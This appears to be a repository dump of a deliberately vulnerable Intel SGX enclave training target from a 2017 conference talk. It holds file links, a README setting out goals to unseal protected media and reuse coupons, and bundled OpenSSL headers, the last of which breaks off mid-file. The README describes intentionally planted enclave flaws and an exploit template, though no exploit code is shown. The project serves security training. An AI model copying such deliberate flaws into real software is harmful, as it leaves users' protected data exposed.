/DVSE/SGXEcallEnclaveInterface.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXEcallEnclaveInterface.cpp -------------------------------------------------------------------------------- /DVSE/SGXEcallEnclaveInterface.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXEcallEnclaveInterface.h -------------------------------------------------------------------------------- /DVSE/SGXEpg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXEpg.cpp -------------------------------------------------------------------------------- /DVSE/SGXEpg.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXEpg.h -------------------------------------------------------------------------------- /DVSE/SGXFileReader.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXFileReader.cpp -------------------------------------------------------------------------------- /DVSE/SGXFileReader.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXFileReader.h -------------------------------------------------------------------------------- /DVSE/SGXFileWriter.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXFileWriter.cpp -------------------------------------------------------------------------------- /DVSE/SGXFileWriter.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXFileWriter.h -------------------------------------------------------------------------------- /DVSE/SGXIndependentSealing.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXIndependentSealing.cpp -------------------------------------------------------------------------------- /DVSE/SGXIndependentSealing.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXIndependentSealing.h -------------------------------------------------------------------------------- /DVSE/SGXLargeFile.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXLargeFile.cpp -------------------------------------------------------------------------------- /DVSE/SGXLargeFile.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXLargeFile.h -------------------------------------------------------------------------------- /DVSE/SGXNetworkReader.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXNetworkReader.cpp -------------------------------------------------------------------------------- /DVSE/SGXNetworkReader.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXNetworkReader.h -------------------------------------------------------------------------------- /DVSE/SGXServiceFile.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXServiceFile.cpp -------------------------------------------------------------------------------- /DVSE/SGXServiceFile.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXServiceFile.h -------------------------------------------------------------------------------- /DVSE/SGXSslWare.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXSslWare.cpp -------------------------------------------------------------------------------- /DVSE/SGXSslWare.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/DVSE/SGXSslWare.h -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RECONMTL-2017, SGX programming: common mistakes presentation and supporting materials 2 | 3 | ## What's this ? 4 | 5 | This is a training target for hacking SGX enclaves, named "damn vulnerable SGX enclave" according to the old good tradition of naming such a things in such a way. 6 | It is presented first time [@Recon 2017](https://recon.cx/2017/montreal/talks/damn-sgx.html) conference in Montreal, Canada. 7 | 8 | ## What is inside ? 9 | 10 | 1. The presentation itself in docs folder 11 | 2. Visual Studio 2015 community edition solution ( @reconmtl2017dvse ) with supporting code which includes 4 projects and 1 used library: 12 | 1. DVSE - Damn vulnerable SGX enclave itself (which is obviously damn vulnerable, I made a lot of efforts to achieve this) 13 | 2. SecureServer - simple SSL python server for it. It includes self-signed certificate for the server and private keys, some (AFAIK) public domain cartoons as media examples and configuration files. 14 | 3. videogui - reference QT5 based UI for viewing the sealed movies. 15 | Note: The QT5 package is licensed under GNU lesser general public license v3. 16 | 4. EnclaveTest - Template utility for exploiting the enclave, which contains exploit of data disclosure. 17 | 5. SGX SSL - Intels library that implements usage of OpenSSL inside of enclave (originally downloaded from [here](https://software.intel.com/sites/default/files/managed/3b/05/sgxssl.1.7.100.35615.zip)). 18 | It resides here only for reference to the specific version I worked with because I wasn't able to find it on github. 19 | Please note that this product contains OpenSSL which has [its own copiright requirements](https://www.openssl.org/source/license.html). 20 | > Note: This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/) 21 | 22 | 23 | ## What kind of vulnerabilities are there ? 24 | 25 | Specific to SGX enclaves usage. 26 | See the presentation for more details. 27 | 28 | ## How to use it ? 29 | 30 | 1. Check that you're using the right hardware (see the presentation for more details, make sure that you are using the right processor and SGX is enabled by the BIOS) 31 | 2. Install Intel SGX SDK, Intel SGX PSW(platform software) and QT5 (I installed QT5 @c:\Qt, probably some pathes in the solution will lead there). 32 | 3. Compile the solution in Debug x64 or Prerelease x64 configuration 33 | 4. Run the server. ( I run it as ``` {your folder}\RECONMTL-2017\secureServer\secureServer>python .\secureServer.py .\media 9876 .\certs ```) 34 | 5. Run the videogui, the setup dialog will appear. 35 | 6. Enter server properties (IP of the machine and the port, the port mentioned in previous command is 9876 and ip is 127.0.0.1 if you are running it on the local machine) 36 | 7. Create a folder for the local encrypted media library, enter it to the corresponding edit box and press a button "Choose a folder and init user" 37 | 8. Press open button. Doubleclick on the cartoon you want to watch (there is one for free) 38 | 9. If you are able to deduce the value of so called coupon, you can use it, it will increase amount of coins you have (See balance on the setup dialog). If you got this coupon, 39 | open the setup dialog (Menu, Library-->connect and setup), paste it into the corresponfing edit box and press apply. Each coupon will add 25 coins, viewing payed cartoon requires 50. 40 | There are 5 coupons, (starting with DVSE_CPN_) and these coupons shouldn't be used twice according to the initial intention (feel free to use these coupons more then once if you can find out how to do it). 41 | 42 | Use, hack, enjoy. 43 | 44 | ## Where to get all these components ? 45 | 46 | 1. [SGX SDK & PSW, registration required](https://software.intel.com/en-us/sgx-sdk/download) 47 | 2. [QT5, choose the license wisely](https://www.qt.io/download/) 48 | 49 | ## What are the rules ? 50 | 51 | 1. The main goal is to write an application which will unseal(decrypt) the movies sealed with the SGX enclave or extract its other secrets. 52 | There are at least 5 different ways to do that. 53 | 2. You can use EnclaveTest project as a template for that. 54 | 55 | ## Something doesn't work or I found a bug in your code ! 56 | 57 | 0. Open an issue if something of the described isn't working. That's quite possible. 58 | 1. Some of the mistakes were inserted intentionally. In this case I'll send you a message and remove the issue. 59 | 60 | ## Important note on contributing 61 | 62 | DVSE and its usage examples had been developed with limited knowledge of QT5, SSL and English language :). Feel free to contribute and enhance this project. 63 | Feel free to add SGX related vulnerabilities if you think that they are really widespread. 64 | 65 | ## What about license ? 66 | 67 | Free for personal use, unless it contradicts to licenses of the used components (in this case these licenses are more important). 68 | 69 | ## Please let me know about your progress. 70 | You can find my e-mail in the presentation in the docs folder. 71 | ## Windows Exploits published (10.9.2017) 72 | See the walkthrough document ( [docx](https://github.com/wireshrink/RECONMTL-2017/tree/master/docs/DVSE%20Walkthrough.docx), [md](https://github.com/wireshrink/RECONMTL-2017/tree/master/docs/DVSE%20Walkthrough.md) )in documents folder and EnclaveTest folder for more details. 73 | -------------------------------------------------------------------------------- /SgxOpenSSL/docs/Intel(R) SgxSSL Library User Guide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wireshrink/RECONMTL-2017/bf8190f8b218c6aee54d0a50e0389464aa4bbd1e/SgxOpenSSL/docs/Intel(R) SgxSSL Library User Guide.pdf -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/buffer.h: -------------------------------------------------------------------------------- 1 | /* crypto/buffer/buffer.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_BUFFER_H 60 | # define HEADER_BUFFER_H 61 | 62 | # include 63 | 64 | #ifdef __cplusplus 65 | extern "C" { 66 | #endif 67 | 68 | # include 69 | 70 | # if !defined(NO_SYS_TYPES_H) 71 | # include 72 | # endif 73 | 74 | /* Already declared in ossl_typ.h */ 75 | /* typedef struct buf_mem_st BUF_MEM; */ 76 | 77 | struct buf_mem_st { 78 | size_t length; /* current number of bytes */ 79 | char *data; 80 | size_t max; /* size of buffer */ 81 | }; 82 | 83 | BUF_MEM *BUF_MEM_new(void); 84 | void BUF_MEM_free(BUF_MEM *a); 85 | int BUF_MEM_grow(BUF_MEM *str, size_t len); 86 | int BUF_MEM_grow_clean(BUF_MEM *str, size_t len); 87 | size_t BUF_strnlen(const char *str, size_t maxlen); 88 | char *BUF_strdup(const char *str); 89 | 90 | /* 91 | * Like strndup, but in addition, explicitly guarantees to never read past the 92 | * first |siz| bytes of |str|. 93 | */ 94 | char *BUF_strndup(const char *str, size_t siz); 95 | 96 | void *BUF_memdup(const void *data, size_t siz); 97 | void BUF_reverse(unsigned char *out, const unsigned char *in, size_t siz); 98 | 99 | /* safe string functions */ 100 | size_t BUF_strlcpy(char *dst, const char *src, size_t siz); 101 | size_t BUF_strlcat(char *dst, const char *src, size_t siz); 102 | 103 | /* BEGIN ERROR CODES */ 104 | /* 105 | * The following lines are auto generated by the script mkerr.pl. Any changes 106 | * made after this point may be overwritten when the script is next run. 107 | */ 108 | void ERR_load_BUF_strings(void); 109 | 110 | /* Error codes for the BUF functions. */ 111 | 112 | /* Function codes. */ 113 | # define BUF_F_BUF_MEMDUP 103 114 | # define BUF_F_BUF_MEM_GROW 100 115 | # define BUF_F_BUF_MEM_GROW_CLEAN 105 116 | # define BUF_F_BUF_MEM_NEW 101 117 | # define BUF_F_BUF_STRDUP 102 118 | # define BUF_F_BUF_STRNDUP 104 119 | 120 | /* Reason codes. */ 121 | 122 | #ifdef __cplusplus 123 | } 124 | #endif 125 | #endif 126 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/cmac.h: -------------------------------------------------------------------------------- 1 | /* crypto/cmac/cmac.h */ 2 | /* 3 | * Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL 4 | * project. 5 | */ 6 | /* ==================================================================== 7 | * Copyright (c) 2010 The OpenSSL Project. All rights reserved. 8 | * 9 | * Redistribution and use in source and binary forms, with or without 10 | * modification, are permitted provided that the following conditions 11 | * are met: 12 | * 13 | * 1. Redistributions of source code must retain the above copyright 14 | * notice, this list of conditions and the following disclaimer. 15 | * 16 | * 2. Redistributions in binary form must reproduce the above copyright 17 | * notice, this list of conditions and the following disclaimer in 18 | * the documentation and/or other materials provided with the 19 | * distribution. 20 | * 21 | * 3. All advertising materials mentioning features or use of this 22 | * software must display the following acknowledgment: 23 | * "This product includes software developed by the OpenSSL Project 24 | * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" 25 | * 26 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 27 | * endorse or promote products derived from this software without 28 | * prior written permission. For written permission, please contact 29 | * licensing@OpenSSL.org. 30 | * 31 | * 5. Products derived from this software may not be called "OpenSSL" 32 | * nor may "OpenSSL" appear in their names without prior written 33 | * permission of the OpenSSL Project. 34 | * 35 | * 6. Redistributions of any form whatsoever must retain the following 36 | * acknowledgment: 37 | * "This product includes software developed by the OpenSSL Project 38 | * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" 39 | * 40 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 41 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 42 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 43 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 44 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 45 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 46 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 47 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 49 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 50 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 51 | * OF THE POSSIBILITY OF SUCH DAMAGE. 52 | * ==================================================================== 53 | */ 54 | 55 | #ifndef HEADER_CMAC_H 56 | # define HEADER_CMAC_H 57 | 58 | #ifdef __cplusplus 59 | extern "C" { 60 | #endif 61 | 62 | # include 63 | 64 | /* Opaque */ 65 | typedef struct CMAC_CTX_st CMAC_CTX; 66 | 67 | CMAC_CTX *CMAC_CTX_new(void); 68 | void CMAC_CTX_cleanup(CMAC_CTX *ctx); 69 | void CMAC_CTX_free(CMAC_CTX *ctx); 70 | EVP_CIPHER_CTX *CMAC_CTX_get0_cipher_ctx(CMAC_CTX *ctx); 71 | int CMAC_CTX_copy(CMAC_CTX *out, const CMAC_CTX *in); 72 | 73 | int CMAC_Init(CMAC_CTX *ctx, const void *key, size_t keylen, 74 | const EVP_CIPHER *cipher, ENGINE *impl); 75 | int CMAC_Update(CMAC_CTX *ctx, const void *data, size_t dlen); 76 | int CMAC_Final(CMAC_CTX *ctx, unsigned char *out, size_t *poutlen); 77 | int CMAC_resume(CMAC_CTX *ctx); 78 | 79 | #ifdef __cplusplus 80 | } 81 | #endif 82 | #endif 83 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/comp.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef HEADER_COMP_H 3 | # define HEADER_COMP_H 4 | 5 | # include 6 | 7 | # ifdef OPENSSL_NO_COMP 8 | # error COMP is disabled. 9 | # endif 10 | 11 | #ifdef __cplusplus 12 | extern "C" { 13 | #endif 14 | 15 | typedef struct comp_ctx_st COMP_CTX; 16 | 17 | struct comp_method_st { 18 | int type; /* NID for compression library */ 19 | const char *name; /* A text string to identify the library */ 20 | int (*init) (COMP_CTX *ctx); 21 | void (*finish) (COMP_CTX *ctx); 22 | int (*compress) (COMP_CTX *ctx, 23 | unsigned char *out, unsigned int olen, 24 | unsigned char *in, unsigned int ilen); 25 | int (*expand) (COMP_CTX *ctx, 26 | unsigned char *out, unsigned int olen, 27 | unsigned char *in, unsigned int ilen); 28 | /* 29 | * The following two do NOTHING, but are kept for backward compatibility 30 | */ 31 | long (*ctrl) (void); 32 | long (*callback_ctrl) (void); 33 | }; 34 | 35 | struct comp_ctx_st { 36 | COMP_METHOD *meth; 37 | unsigned long compress_in; 38 | unsigned long compress_out; 39 | unsigned long expand_in; 40 | unsigned long expand_out; 41 | CRYPTO_EX_DATA ex_data; 42 | }; 43 | 44 | COMP_CTX *COMP_CTX_new(COMP_METHOD *meth); 45 | void COMP_CTX_free(COMP_CTX *ctx); 46 | int COMP_compress_block(COMP_CTX *ctx, unsigned char *out, int olen, 47 | unsigned char *in, int ilen); 48 | int COMP_expand_block(COMP_CTX *ctx, unsigned char *out, int olen, 49 | unsigned char *in, int ilen); 50 | COMP_METHOD *COMP_rle(void); 51 | COMP_METHOD *COMP_zlib(void); 52 | void COMP_zlib_cleanup(void); 53 | 54 | # ifdef HEADER_BIO_H 55 | # ifdef ZLIB 56 | BIO_METHOD *BIO_f_zlib(void); 57 | # endif 58 | # endif 59 | 60 | /* BEGIN ERROR CODES */ 61 | /* 62 | * The following lines are auto generated by the script mkerr.pl. Any changes 63 | * made after this point may be overwritten when the script is next run. 64 | */ 65 | void ERR_load_COMP_strings(void); 66 | 67 | /* Error codes for the COMP functions. */ 68 | 69 | /* Function codes. */ 70 | # define COMP_F_BIO_ZLIB_FLUSH 99 71 | # define COMP_F_BIO_ZLIB_NEW 100 72 | # define COMP_F_BIO_ZLIB_READ 101 73 | # define COMP_F_BIO_ZLIB_WRITE 102 74 | 75 | /* Reason codes. */ 76 | # define COMP_R_ZLIB_DEFLATE_ERROR 99 77 | # define COMP_R_ZLIB_INFLATE_ERROR 100 78 | # define COMP_R_ZLIB_NOT_SUPPORTED 101 79 | 80 | #ifdef __cplusplus 81 | } 82 | #endif 83 | #endif 84 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/conf_api.h: -------------------------------------------------------------------------------- 1 | /* conf_api.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_CONF_API_H 60 | # define HEADER_CONF_API_H 61 | 62 | # include 63 | # include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | /* Up until OpenSSL 0.9.5a, this was new_section */ 70 | CONF_VALUE *_CONF_new_section(CONF *conf, const char *section); 71 | /* Up until OpenSSL 0.9.5a, this was get_section */ 72 | CONF_VALUE *_CONF_get_section(const CONF *conf, const char *section); 73 | /* Up until OpenSSL 0.9.5a, this was CONF_get_section */ 74 | STACK_OF(CONF_VALUE) *_CONF_get_section_values(const CONF *conf, 75 | const char *section); 76 | 77 | int _CONF_add_string(CONF *conf, CONF_VALUE *section, CONF_VALUE *value); 78 | char *_CONF_get_string(const CONF *conf, const char *section, 79 | const char *name); 80 | long _CONF_get_number(const CONF *conf, const char *section, 81 | const char *name); 82 | 83 | int _CONF_new_data(CONF *conf); 84 | void _CONF_free_data(CONF *conf); 85 | 86 | #ifdef __cplusplus 87 | } 88 | #endif 89 | #endif 90 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/ebcdic.h: -------------------------------------------------------------------------------- 1 | /* crypto/ebcdic.h */ 2 | 3 | #ifndef HEADER_EBCDIC_H 4 | # define HEADER_EBCDIC_H 5 | 6 | # include 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | /* Avoid name clashes with other applications */ 13 | # define os_toascii _openssl_os_toascii 14 | # define os_toebcdic _openssl_os_toebcdic 15 | # define ebcdic2ascii _openssl_ebcdic2ascii 16 | # define ascii2ebcdic _openssl_ascii2ebcdic 17 | 18 | extern const unsigned char os_toascii[256]; 19 | extern const unsigned char os_toebcdic[256]; 20 | void *ebcdic2ascii(void *dest, const void *srce, size_t count); 21 | void *ascii2ebcdic(void *dest, const void *srce, size_t count); 22 | 23 | #ifdef __cplusplus 24 | } 25 | #endif 26 | #endif 27 | -------------------------------------------------------------------------------- /SgxOpenSSL/include/openssl/hmac.h: -------------------------------------------------------------------------------- 1 | /* crypto/hmac/hmac.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | #ifndef HEADER_HMAC_H 59 | # define HEADER_HMAC_H 60 | 61 | # include 62 | 63 | # ifdef OPENSSL_NO_HMAC 64 | # error HMAC is disabled. 65 | # endif 66 | 67 | # include 68 | 69 | # define HMAC_MAX_MD_CBLOCK 128/* largest known is SHA512 */ 70 | 71 | #ifdef __cplusplus 72 | extern "C" { 73 | #endif 74 | 75 | typedef struct hmac_ctx_st { 76 | const EVP_MD *md; 77 | EVP_MD_CTX md_ctx; 78 | EVP_MD_CTX i_ctx; 79 | EVP_MD_CTX o_ctx; 80 | unsigned int key_length; 81 | unsigned char key[HMAC_MAX_MD_CBLOCK]; 82 | } HMAC_CTX; 83 | 84 | # define HMAC_size(e) (EVP_MD_size((e)->md)) 85 | 86 | void HMAC_CTX_init(HMAC_CTX *ctx); 87 | void HMAC_CTX_cleanup(HMAC_CTX *ctx); 88 | 89 | /* deprecated */ 90 | # define HMAC_cleanup(ctx) HMAC_CTX_cleanup(ctx) 91 | 92 | /* deprecated */ 93 | int HMAC_Init(HMAC_CTX *ctx, const void *key, int len, const EVP_MD *md); 94 | int HMAC_Init_ex(HMAC_CTX *ctx, const void *key, int len, 95 | const EVP_MD *md, ENGINE *impl); 96 | int HMAC_Update(HMAC_CTX *ctx, const unsigned char 